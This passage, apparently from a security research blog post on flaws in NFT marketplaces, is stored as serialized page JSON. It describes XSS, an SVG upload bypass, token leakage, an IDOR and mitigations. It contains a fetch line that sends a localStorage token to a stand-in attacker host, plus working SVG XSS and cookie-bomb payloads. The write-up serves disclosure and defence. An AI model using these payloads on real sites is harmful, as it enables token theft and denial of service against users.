stashh.io:",{"type":23,"tag":87,"props":33578,"children":33580},{"className":30858,"code":33579,"language":30860,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[33581],{"type":23,"tag":92,"props":33582,"children":33583},{"__ignoreMap":7},[33584],{"type":23,"tag":134,"props":33585,"children":33586},{"class":136,"line":137},[33587,33592,33596,33601,33606,33611,33615,33620,33624,33629,33633,33638,33642],{"type":23,"tag":134,"props":33588,"children":33589},{"style":264},[33590],{"type":28,"value":33591},"fetch",{"type":23,"tag":134,"props":33593,"children":33594},{"style":179},[33595],{"type":28,"value":272},{"type":23,"tag":134,"props":33597,"children":33598},{"style":1461},[33599],{"type":28,"value":33600},"`https://attacker-server.com/?token_leak=",{"type":23,"tag":134,"props":33602,"children":33603},{"style":151},[33604],{"type":28,"value":33605},"${",{"type":23,"tag":134,"props":33607,"children":33608},{"style":162},[33609],{"type":28,"value":33610},"localStorage",{"type":23,"tag":134,"props":33612,"children":33613},{"style":168},[33614],{"type":28,"value":720},{"type":23,"tag":134,"props":33616,"children":33617},{"style":264},[33618],{"type":28,"value":33619},"getItem",{"type":23,"tag":134,"props":33621,"children":33622},{"style":168},[33623],{"type":28,"value":272},{"type":23,"tag":134,"props":33625,"children":33626},{"style":1461},[33627],{"type":28,"value":33628},"'token'",{"type":23,"tag":134,"props":33630,"children":33631},{"style":168},[33632],{"type":28,"value":296},{"type":23,"tag":134,"props":33634,"children":33635},{"style":151},[33636],{"type":28,"value":33637},"}",{"type":23,"tag":134,"props":33639,"children":33640},{"style":1461},[33641],{"type":28,"value":9847},{"type":23,"tag":134,"props":33643,"children":33644},{"style":179},[33645],{"type":28,"value":1021},{"type":23,"tag":9072,"props":33647,"children":33649},{"id":33648},"svgs",[33650],{"type":28,"value":33651},"SVGs",{"type":23,"tag":24,"props":33653,"children":33654},{},[33655],{"type":28,"value":33656},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":23,"tag":24,"props":33658,"children":33659},{},[33660],{"type":28,"value":33661},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":23,"tag":87,"props":33663,"children":33665},{"className":30858,"code":33664,"language":30860,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[33666],{"type":23,"tag":92,"props":33667,"children":33668},{"__ignoreMap":7},[33669,33715,33752,33759,33789,33821,33849,33857,33873],{"type":23,"tag":134,"props":33670,"children":33671},{"class":136,"line":137},[33672,33677,33682,33687,33691,33696,33701,33705,33710],{"type":23,"tag":134,"props":33673,"children":33674},{"style":168},[33675],{"type":28,"value":33676},"\u003C?",{"type":23,"tag":134,"props":33678,"children":33679},{"style":162},[33680],{"type":28,"value":33681},"xml",{"type":23,"tag":134,"props":33683,"children":33684},{"style":162},[33685],{"type":28,"value":33686}," version",{"type":23,"tag":134,"props":33688,"children":33689},{"style":168},[33690],{"type":28,"value":257},{"type":23,"tag":134,"props":33692,"children":33693},{"style":1461},[33694],{"type":28,"value":33695},"\"1.0\"",{"type":23,"tag":134,"props":33697,"children":33698},{"style":162},[33699],{"type":28,"value":33700}," encoding",{"type":23,"tag":134,"props":33702,"children":33703},{"style":168},[33704],{"type":28,"value":257},{"type":23,"tag":134,"props":33706,"children":33707},{"style":1461},[33708],{"type":28,"value":33709},"\"UTF-8\"",{"type":23,"tag":134,"props":33711,"children":33712},{"style":168},[33713],{"type":28,"value":33714},"?>\n",{"type":23,"tag":134,"props":33716,"children":33717},{"class":136,"line":147},[33718,33723,33728,33733,33738,33743,33748],{"type":23,"tag":134,"props":33719,"children":33720},{"style":168},[33721],{"type":28,"value":33722},"\u003C!",{"type":23,"tag":134,"props":33724,"children":33725},{"style":162},[33726],{"type":28,"value":33727},"DOCTYPE",{"type":23,"tag":134,"props":33729,"children":33730},{"style":162},[33731],{"type":28,"value":33732}," svg",{"type":23,"tag":134,"props":33734,"children":33735},{"style":162},[33736],{"type":28,"value":33737}," PUBLIC",{"type":23,"tag":134,"props":33739,"children":33740},{"style":1461},[33741],{"type":28,"value":33742}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":23,"tag":134,"props":33744,"children":33745},{"style":1461},[33746],{"type":28,"value":33747}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":23,"tag":134,"props":33749,"children":33750},{"style":168},[33751],{"type":28,"value":5449},{"type":23,"tag":134,"props":33753,"children":33754},{"class":136,"line":185},[33755],{"type":23,"tag":134,"props":33756,"children":33757},{"emptyLinePlaceholder":15},[33758],{"type":28,"value":865},{"type":23,"tag":134,"props":33760,"children":33761},{"class":136,"line":221},[33762,33766,33771,33776,33780,33785],{"type":23,"tag":134,"props":33763,"children":33764},{"style":31871},[33765],{"type":28,"value":8179},{"type":23,"tag":134,"props":33767,"children":33768},{"style":151},[33769],{"type":28,"value":33770},"svg",{"type":23,"tag":134,"props":33772,"children":33773},{"style":162},[33774],{"type":28,"value":33775}," xmlns",{"type":23,"tag":134,"props":33777,"children":33778},{"style":168},[33779],{"type":28,"value":257},{"type":23,"tag":134,"props":33781,"children":33782},{"style":1461},[33783],{"type":28,"value":33784},"\"http://www.w3.org/2000/svg\"",{"type":23,"tag":134,"props":33786,"children":33787},{"style":31871},[33788],{"type":28,"value":5449},{"type":23,"tag":134,"props":33790,"children":33791},{"class":136,"line":332},[33792,33796,33801,33805,33809,33813,33817],{"type":23,"tag":134,"props":33793,"children":33794},{"style":31871},[33795],{"type":28,"value":31890},{"type":23,"tag":134,"props":33797,"children":33798},{"style":151},[33799],{"type":28,"value":33800},"title",{"type":23,"tag":134,"props":33802,"children":33803},{"style":31871},[33804],{"type":28,"value":9927},{"type":23,"tag":134,"props":33806,"children":33807},{"style":179},[33808],{"type":28,"value":30732},{"type":23,"tag":134,"props":33810,"children":33811},{"style":31871},[33812],{"type":28,"value":31925},{"type":23,"tag":134,"props":33814,"children":33815},{"style":151},[33816],{"type":28,"value":33800},{"type":23,"tag":134,"props":33818,"children":33819},{"style":31871},[33820],{"type":28,"value":5449},{"type":23,"tag":134,"props":33822,"children":33823},{"class":136,"line":438},[33824,33828,33832,33836,33840,33845],{"type":23,"tag":134,"props":33825,"children":33826},{"style":31871},[33827],{"type":28,"value":31890},{"type":23,"tag":134,"props":33829,"children":33830},{"style":151},[33831],{"type":28,"value":31911},{"type":23,"tag":134,"props":33833,"children":33834},{"style":162},[33835],{"type":28,"value":32036},{"type":23,"tag":134,"props":33837,"children":33838},{"style":168},[33839],{"type":28,"value":257},{"type":23,"tag":134,"props":33841,"children":33842},{"style":1461},[33843],{"type":28,"value":33844},"\"text/javascript\"",{"type":23,"tag":134,"props":33846,"children":33847},{"style":31871},[33848],{"type":28,"value":5449},{"type":23,"tag":134,"props":33850,"children":33851},{"class":136,"line":466},[33852],{"type":23,"tag":134,"props":33853,"children":33854},{"style":179},[33855],{"type":28,"value":33856},"   alert(document.domain);\n",{"type":23,"tag":134,"props":33858,"children":33859},{"class":136,"line":479},[33860,33865,33869],{"type":23,"tag":134,"props":33861,"children":33862},{"style":31871},[33863],{"type":28,"value":33864},"   \u003C/",{"type":23,"tag":134,"props":33866,"children":33867},{"style":151},[33868],{"type":28,"value":31911},{"type":23,"tag":134,"props":33870,"children":33871},{"style":31871},[33872],{"type":28,"value":5449},{"type":23,"tag":134,"props":33874,"children":33875},{"class":136,"line":497},[33876,33881,33885],{"type":23,"tag":134,"props":33877,"children":33878},{"style":31871},[33879],{"type":28,"value":33880}," \u003C/",{"type":23,"tag":134,"props":33882,"children":33883},{"style":151},[33884],{"type":28,"value":33770},{"type":23,"tag":134,"props":33886,"children":33887},{"style":31871},[33888],{"type":28,"value":5449},{"type":23,"tag":24,"props":33890,"children":33891},{},[33892,33894,33901],{"type":28,"value":33893},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":23,"tag":31,"props":33895,"children":33898},{"href":33896,"rel":33897},"https://xtingles.com/",[35],[33899],{"type":28,"value":33900},"xtingles Marketplace",{"type":28,"value":720},{"type":23,"tag":24,"props":33903,"children":33904},{},[33905],{"type":28,"value":33906},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":23,"tag":24,"props":33908,"children":33909},{},[33910],{"type":28,"value":33911},"Below, we show you how we did it.",{"type":23,"tag":24,"props":33913,"children":33914},{},[33915],{"type":28,"value":33916},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":23,"tag":24,"props":33918,"children":33919},{},[33920],{"type":23,"tag":1116,"props":33921,"children":33923},{"alt":7,"src":33922},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":23,"tag":24,"props":33925,"children":33926},{},[33927],{"type":28,"value":33928},"After changing the extension inside the file name.",{"type":23,"tag":24,"props":33930,"children":33931},{},[33932],{"type":23,"tag":1116,"props":33933,"children":33935},{"alt":7,"src":33934},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":23,"tag":9072,"props":33937,"children":33939},{"id":33938},"svgs-return",[33940],{"type":28,"value":33941},"SVGs Return",{"type":23,"tag":24,"props":33943,"children":33944},{},[33945],{"type":28,"value":33946},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":23,"tag":24,"props":33948,"children":33949},{},[33950],{"type":28,"value":33951},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":23,"tag":24,"props":33953,"children":33954},{},[33955],{"type":28,"value":33956},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":23,"tag":87,"props":33958,"children":33962},{"className":33959,"code":33960,"language":33961,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[33963],{"type":23,"tag":92,"props":33964,"children":33965},{"__ignoreMap":7},[33966,34005,34036,34043,34070,34101,34128,34136,34144,34151,34163,34238,34246,34261],{"type":23,"tag":134,"props":33967,"children":33968},{"class":136,"line":137},[33969,33973,33977,33981,33985,33989,33993,33997,34001],{"type":23,"tag":134,"props":33970,"children":33971},{"style":168},[33972],{"type":28,"value":33676},{"type":23,"tag":134,"props":33974,"children":33975},{"style":162},[33976],{"type":28,"value":33681},{"type":23,"tag":134,"props":33978,"children":33979},{"style":162},[33980],{"type":28,"value":33686},{"type":23,"tag":134,"props":33982,"children":33983},{"style":168},[33984],{"type":28,"value":257},{"type":23,"tag":134,"props":33986,"children":33987},{"style":1461},[33988],{"type":28,"value":33695},{"type":23,"tag":134,"props":33990,"children":33991},{"style":162},[33992],{"type":28,"value":33700},{"type":23,"tag":134,"props":33994,"children":33995},{"style":168},[33996],{"type":28,"value":257},{"type":23,"tag":134,"props":33998,"children":33999},{"style":1461},[34000],{"type":28,"value":33709},{"type":23,"tag":134,"props":34002,"children":34003},{"style":168},[34004],{"type":28,"value":33714},{"type":23,"tag":134,"props":34006,"children":34007},{"class":136,"line":147},[34008,34012,34016,34020,34024,34028,34032],{"type":23,"tag":134,"props":34009,"children":34010},{"style":168},[34011],{"type":28,"value":33722},{"type":23,"tag":134,"props":34013,"children":34014},{"style":162},[34015],{"type":28,"value":33727},{"type":23,"tag":134,"props":34017,"children":34018},{"style":162},[34019],{"type":28,"value":33732},{"type":23,"tag":134,"props":34021,"children":34022},{"style":162},[34023],{"type":28,"value":33737},{"type":23,"tag":134,"props":34025,"children":34026},{"style":1461},[34027],{"type":28,"value":33742},{"type":23,"tag":134,"props":34029,"children":34030},{"style":1461},[34031],{"type":28,"value":33747},{"type":23,"tag":134,"props":34033,"children":34034},{"style":168},[34035],{"type":28,"value":5449},{"type":23,"tag":134,"props":34037,"children":34038},{"class":136,"line":185},[34039],{"type":23,"tag":134,"props":34040,"children":34041},{"emptyLinePlaceholder":15},[34042],{"type":28,"value":865},{"type":23,"tag":134,"props":34044,"children":34045},{"class":136,"line":221},[34046,34050,34054,34058,34062,34066],{"type":23,"tag":134,"props":34047,"children":34048},{"style":31871},[34049],{"type":28,"value":8179},{"type":23,"tag":134,"props":34051,"children":34052},{"style":151},[34053],{"type":28,"value":33770},{"type":23,"tag":134,"props":34055,"children":34056},{"style":162},[34057],{"type":28,"value":33775},{"type":23,"tag":134,"props":34059,"children":34060},{"style":168},[34061],{"type":28,"value":257},{"type":23,"tag":134,"props":34063,"children":34064},{"style":1461},[34065],{"type":28,"value":33784},{"type":23,"tag":134,"props":34067,"children":34068},{"style":31871},[34069],{"type":28,"value":5449},{"type":23,"tag":134,"props":34071,"children":34072},{"class":136,"line":332},[34073,34077,34081,34085,34089,34093,34097],{"type":23,"tag":134,"props":34074,"children":34075},{"style":31871},[34076],{"type":28,"value":31890},{"type":23,"tag":134,"props":34078,"children":34079},{"style":151},[34080],{"type":28,"value":33800},{"type":23,"tag":134,"props":34082,"children":34083},{"style":31871},[34084],{"type":28,"value":9927},{"type":23,"tag":134,"props":34086,"children":34087},{"style":179},[34088],{"type":28,"value":30732},{"type":23,"tag":134,"props":34090,"children":34091},{"style":31871},[34092],{"type":28,"value":31925},{"type":23,"tag":134,"props":34094,"children":34095},{"style":151},[34096],{"type":28,"value":33800},{"type":23,"tag":134,"props":34098,"children":34099},{"style":31871},[34100],{"type":28,"value":5449},{"type":23,"tag":134,"props":34102,"children":34103},{"class":136,"line":438},[34104,34108,34112,34116,34120,34124],{"type":23,"tag":134,"props":34105,"children":34106},{"style":31871},[34107],{"type":28,"value":31890},{"type":23,"tag":134,"props":34109,"children":34110},{"style":151},[34111],{"type":28,"value":31911},{"type":23,"tag":134,"props":34113,"children":34114},{"style":162},[34115],{"type":28,"value":32036},{"type":23,"tag":134,"props":34117,"children":34118},{"style":168},[34119],{"type":28,"value":257},{"type":23,"tag":134,"props":34121,"children":34122},{"style":1461},[34123],{"type":28,"value":33844},{"type":23,"tag":134,"props":34125,"children":34126},{"style":31871},[34127],{"type":28,"value":5449},{"type":23,"tag":134,"props":34129,"children":34130},{"class":136,"line":466},[34131],{"type":23,"tag":134,"props":34132,"children":34133},{"style":179},[34134],{"type":28,"value":34135},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":23,"tag":134,"props":34137,"children":34138},{"class":136,"line":479},[34139],{"type":23,"tag":134,"props":34140,"children":34141},{"style":179},[34142],{"type":28,"value":34143},"   var Set_Cookie = Array(10000).join('a');\n",{"type":23,"tag":134,"props":34145,"children":34146},{"class":136,"line":497},[34147],{"type":23,"tag":134,"props":34148,"children":34149},{"emptyLinePlaceholder":15},[34150],{"type":28,"value":865},{"type":23,"tag":134,"props":34152,"children":34153},{"class":136,"line":518},[34154,34159],{"type":23,"tag":134,"props":34155,"children":34156},{"style":179},[34157],{"type":28,"value":34158},"   for (var i = 1; i \u003C 99; i++) ",{"type":23,"tag":134,"props":34160,"children":34161},{"style":151},[34162],{"type":28,"value":10346},{"type":23,"tag":134,"props":34164,"children":34165},{"class":136,"line":527},[34166,34171,34175,34180,34184,34189,34194,34198,34202,34207,34211,34216,34220,34225,34229,34234],{"type":23,"tag":134,"props":34167,"children":34168},{"style":162},[34169],{"type":28,"value":34170},"    document",{"type":23,"tag":134,"props":34172,"children":34173},{"style":168},[34174],{"type":28,"value":720},{"type":23,"tag":134,"props":34176,"children":34177},{"style":162},[34178],{"type":28,"value":34179},"cookie",{"type":23,"tag":134,"props":34181,"children":34182},{"style":168},[34183],{"type":28,"value":32407},{"type":23,"tag":134,"props":34185,"children":34186},{"style":1461},[34187],{"type":28,"value":34188},"'Cookie'",{"type":23,"tag":134,"props":34190,"children":34191},{"style":168},[34192],{"type":28,"value":34193}," + ",{"type":23,"tag":134,"props":34195,"children":34196},{"style":162},[34197],{"type":28,"value":929},{"type":23,"tag":134,"props":34199,"children":34200},{"style":168},[34201],{"type":28,"value":34193},{"type":23,"tag":134,"props":34203,"children":34204},{"style":1461},[34205],{"type":28,"value":34206},"'='",{"type":23,"tag":134,"props":34208,"children":34209},{"style":168},[34210],{"type":28,"value":34193},{"type":23,"tag":134,"props":34212,"children":34213},{"style":162},[34214],{"type":28,"value":34215},"Set_Cookie",{"type":23,"tag":134,"props":34217,"children":34218},{"style":168},[34219],{"type":28,"value":34193},{"type":23,"tag":134,"props":34221,"children":34222},{"style":1461},[34223],{"type":28,"value":34224},"';Domain='",{"type":23,"tag":134,"props":34226,"children":34227},{"style":168},[34228],{"type":28,"value":34193},{"type":23,"tag":134,"props":34230,"children":34231},{"style":162},[34232],{"type":28,"value":34233},"Take_Domain",{"type":23,"tag":134,"props":34235,"children":34236},{"style":168},[34237],{"type":28,"value":182},{"type":23,"tag":134,"props":34239,"children":34240},{"class":136,"line":780},[34241],{"type":23,"tag":134,"props":34242,"children":34243},{"style":151},[34244],{"type":28,"value":34245},"   }\n",{"type":23,"tag":134,"props":34247,"children":34248},{"class":136,"line":797},[34249,34253,34257],{"type":23,"tag":134,"props":34250,"children":34251},{"style":31871},[34252],{"type":28,"value":33864},{"type":23,"tag":134,"props":34254,"children":34255},{"style":151},[34256],{"type":28,"value":31911},{"type":23,"tag":134,"props":34258,"children":34259},{"style":31871},[34260],{"type":28,"value":5449},{"type":23,"tag":134,"props":34262,"children":34263},{"class":136,"line":814},[34264,34268,34272],{"type":23,"tag":134,"props":34265,"children":34266},{"style":31871},[34267],{"type":28,"value":33880},{"type":23,"tag":134,"props":34269,"children":34270},{"style":151},[34271],{"type":28,"value":33770},{"type":23,"tag":134,"props":34273,"children":34274},{"style":31871},[34275],{"type":28,"value":5449},{"type":23,"tag":24,"props":34277,"children":34278},{},[34279],{"type":28,"value":34280},"As a result, we're able to prevent the user from loading images.",{"type":23,"tag":61,"props":34282,"children":34284},{"id":34283},"authentication",[34285],{"type":28,"value":34286},"Authentication",{"type":23,"tag":24,"props":34288,"children":34289},{},[34290],{"type":23,"tag":55,"props":34291,"children":34292},{},[34293,34295,34302],{"type":28,"value":34294},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":23,"tag":31,"props":34296,"children":34299},{"href":34297,"rel":34298},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[35],[34300],{"type":28,"value":34301},"great misfortune has occured",{"type":28,"value":720},{"type":23,"tag":9072,"props":34304,"children":34306},{"id":34305},"verification-token-leakage",[34307],{"type":28,"value":34308},"Verification Token Leakage",{"type":23,"tag":24,"props":34310,"children":34311},{},[34312],{"type":28,"value":34313},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":23,"tag":24,"props":34315,"children":34316},{},[34317],{"type":28,"value":34318},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":23,"tag":24,"props":34320,"children":34321},{},[34322,34327],{"type":23,"tag":55,"props":34323,"children":34324},{},[34325],{"type":28,"value":34326},"Proof of Concept",{"type":28,"value":34328},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":23,"tag":24,"props":34330,"children":34331},{},[34332],{"type":28,"value":34333},"Here's the breakdown.",{"type":23,"tag":24,"props":34335,"children":34336},{},[34337],{"type":28,"value":34338},"First, we send the verification link to a user's email:",{"type":23,"tag":30841,"props":34340,"children":34341},{"style":30843},[34342],{"type":23,"tag":1116,"props":34343,"children":34347},{"src":34344,"alt":34345,"style":34346},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":23,"tag":24,"props":34349,"children":34350},{},[34351],{"type":28,"value":34352},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":23,"tag":9072,"props":34354,"children":34356},{"id":34355},"idor",[34357],{"type":28,"value":34358},"IDOR",{"type":23,"tag":24,"props":34360,"children":34361},{},[34362],{"type":23,"tag":55,"props":34363,"children":34364},{},[34365,34367,34374],{"type":28,"value":34366},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":23,"tag":31,"props":34368,"children":34371},{"href":34369,"rel":34370},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[35],[34372],{"type":28,"value":34373},"insect",{"type":28,"value":720},{"type":23,"tag":24,"props":34376,"children":34377},{},[34378,34380,34386],{"type":28,"value":34379},"During a security assessment of the ",{"type":23,"tag":31,"props":34381,"children":34384},{"href":34382,"rel":34383},"https://rocki.com",[35],[34385],{"type":28,"value":30779},{"type":28,"value":34387},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":23,"tag":24,"props":34389,"children":34390},{},[34391],{"type":28,"value":34392},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":23,"tag":24,"props":34394,"children":34395},{},[34396],{"type":28,"value":34397},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":23,"tag":24,"props":34399,"children":34400},{},[34401,34403,34409,34411,34416],{"type":28,"value":34402},"Here is an example of a request that modifies another user's social media link to ",{"type":23,"tag":92,"props":34404,"children":34406},{"className":34405},[],[34407],{"type":28,"value":34408},"https://evil.com/",{"type":28,"value":34410},". To achieve this, we simply changed the ",{"type":23,"tag":92,"props":34412,"children":34414},{"className":34413},[],[34415],{"type":28,"value":665},{"type":28,"value":34417}," field value to one that belongs to another user:",{"type":23,"tag":24,"props":34419,"children":34420},{},[34421],{"type":23,"tag":1116,"props":34422,"children":34424},{"alt":7,"src":34423},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":23,"tag":24,"props":34426,"children":34427},{},[34428],{"type":28,"value":34429},"The following screenshot is the response to our request:",{"type":23,"tag":24,"props":34431,"children":34432},{},[34433],{"type":23,"tag":1116,"props":34434,"children":34436},{"alt":7,"src":34435},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":23,"tag":61,"props":34438,"children":34440},{"id":34439},"preventative-action-steps-for-marketplaces",[34441],{"type":23,"tag":2532,"props":34442,"children":34443},{},[34444],{"type":28,"value":34445},"Preventative Action Steps for Marketplaces",{"type":23,"tag":24,"props":34447,"children":34448},{},[34449],{"type":28,"value":34450},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":23,"tag":24,"props":34452,"children":34453},{},[34454,34456,34462,34464,34470],{"type":28,"value":34455},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":23,"tag":92,"props":34457,"children":34459},{"className":34458},[],[34460],{"type":28,"value":34461},"innerText",{"type":28,"value":34463}," instead of ",{"type":23,"tag":92,"props":34465,"children":34467},{"className":34466},[],[34468],{"type":28,"value":34469},"innerHTML",{"type":28,"value":34471}," in client-side:",{"type":23,"tag":87,"props":34473,"children":34475},{"className":30858,"code":34474,"language":30860,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[34476],{"type":23,"tag":92,"props":34477,"children":34478},{"__ignoreMap":7},[34479],{"type":23,"tag":134,"props":34480,"children":34481},{"class":136,"line":137},[34482,34486,34490,34495,34499,34504,34508,34512,34516,34521],{"type":23,"tag":134,"props":34483,"children":34484},{"style":162},[34485],{"type":28,"value":32203},{"type":23,"tag":134,"props":34487,"children":34488},{"style":179},[34489],{"type":28,"value":720},{"type":23,"tag":134,"props":34491,"children":34492},{"style":264},[34493],{"type":28,"value":34494},"getElementById",{"type":23,"tag":134,"props":34496,"children":34497},{"style":179},[34498],{"type":28,"value":272},{"type":23,"tag":134,"props":34500,"children":34501},{"style":1461},[34502],{"type":28,"value":34503},"'nftCollectionName'",{"type":23,"tag":134,"props":34505,"children":34506},{"style":179},[34507],{"type":28,"value":20220},{"type":23,"tag":134,"props":34509,"children":34510},{"style":162},[34511],{"type":28,"value":34461},{"type":23,"tag":134,"props":34513,"children":34514},{"style":168},[34515],{"type":28,"value":171},{"type":23,"tag":134,"props":34517,"children":34518},{"style":162},[34519],{"type":28,"value":34520}," nftCollectionName",{"type":23,"tag":134,"props":34522,"children":34523},{"style":179},[34524],{"type":28,"value":182},{"type":23,"tag":24,"props":34526,"children":34527},{},[34528],{"type":28,"value":34529},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":23,"tag":87,"props":34531,"children":34533},{"className":30858,"code":34532,"language":30860,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[34534],{"type":23,"tag":92,"props":34535,"children":34536},{"__ignoreMap":7},[34537],{"type":23,"tag":134,"props":34538,"children":34539},{"class":136,"line":137},[34540,34545,34550,34554,34559,34563,34568,34572,34577],{"type":23,"tag":134,"props":34541,"children":34542},{"style":151},[34543],{"type":28,"value":34544},"var",{"type":23,"tag":134,"props":34546,"children":34547},{"style":162},[34548],{"type":28,"value":34549}," sanitizedInput",{"type":23,"tag":134,"props":34551,"children":34552},{"style":168},[34553],{"type":28,"value":171},{"type":23,"tag":134,"props":34555,"children":34556},{"style":162},[34557],{"type":28,"value":34558}," DOMPurify",{"type":23,"tag":134,"props":34560,"children":34561},{"style":179},[34562],{"type":28,"value":720},{"type":23,"tag":134,"props":34564,"children":34565},{"style":264},[34566],{"type":28,"value":34567},"sanitize",{"type":23,"tag":134,"props":34569,"children":34570},{"style":179},[34571],{"type":28,"value":272},{"type":23,"tag":134,"props":34573,"children":34574},{"style":162},[34575],{"type":28,"value":34576},"userInput",{"type":23,"tag":134,"props":34578,"children":34579},{"style":179},[34580],{"type":28,"value":1021},{"type":23,"tag":24,"props":34582,"children":34583},{},[34584,34586,34593],{"type":28,"value":34585},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":23,"tag":31,"props":34587,"children":34590},{"href":34588,"rel":34589},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[35],[34591],{"type":28,"value":34592},"Content-Security-Policy",{"type":28,"value":34594}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":23,"tag":24,"props":34596,"children":34597},{},[34598],{"type":28,"value":34599},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":23,"tag":24,"props":34601,"children":34602},{},[34603,34605,34612],{"type":28,"value":34604},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":23,"tag":31,"props":34606,"children":34609},{"href":34607,"rel":34608},"https://www.techtarget.com/whatis/definition/whitelist",[35],[34610],{"type":28,"value":34611},"allow-list",{"type":28,"value":34613}," :",{"type":23,"tag":87,"props":34615,"children":34617},{"className":30858,"code":34616,"language":30860,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[34618],{"type":23,"tag":92,"props":34619,"children":34620},{"__ignoreMap":7},[34621,34650,34692,34722],{"type":23,"tag":134,"props":34622,"children":34623},{"class":136,"line":137},[34624,34628,34633,34637,34641,34646],{"type":23,"tag":134,"props":34625,"children":34626},{"style":151},[34627],{"type":28,"value":9119},{"type":23,"tag":134,"props":34629,"children":34630},{"style":162},[34631],{"type":28,"value":34632}," 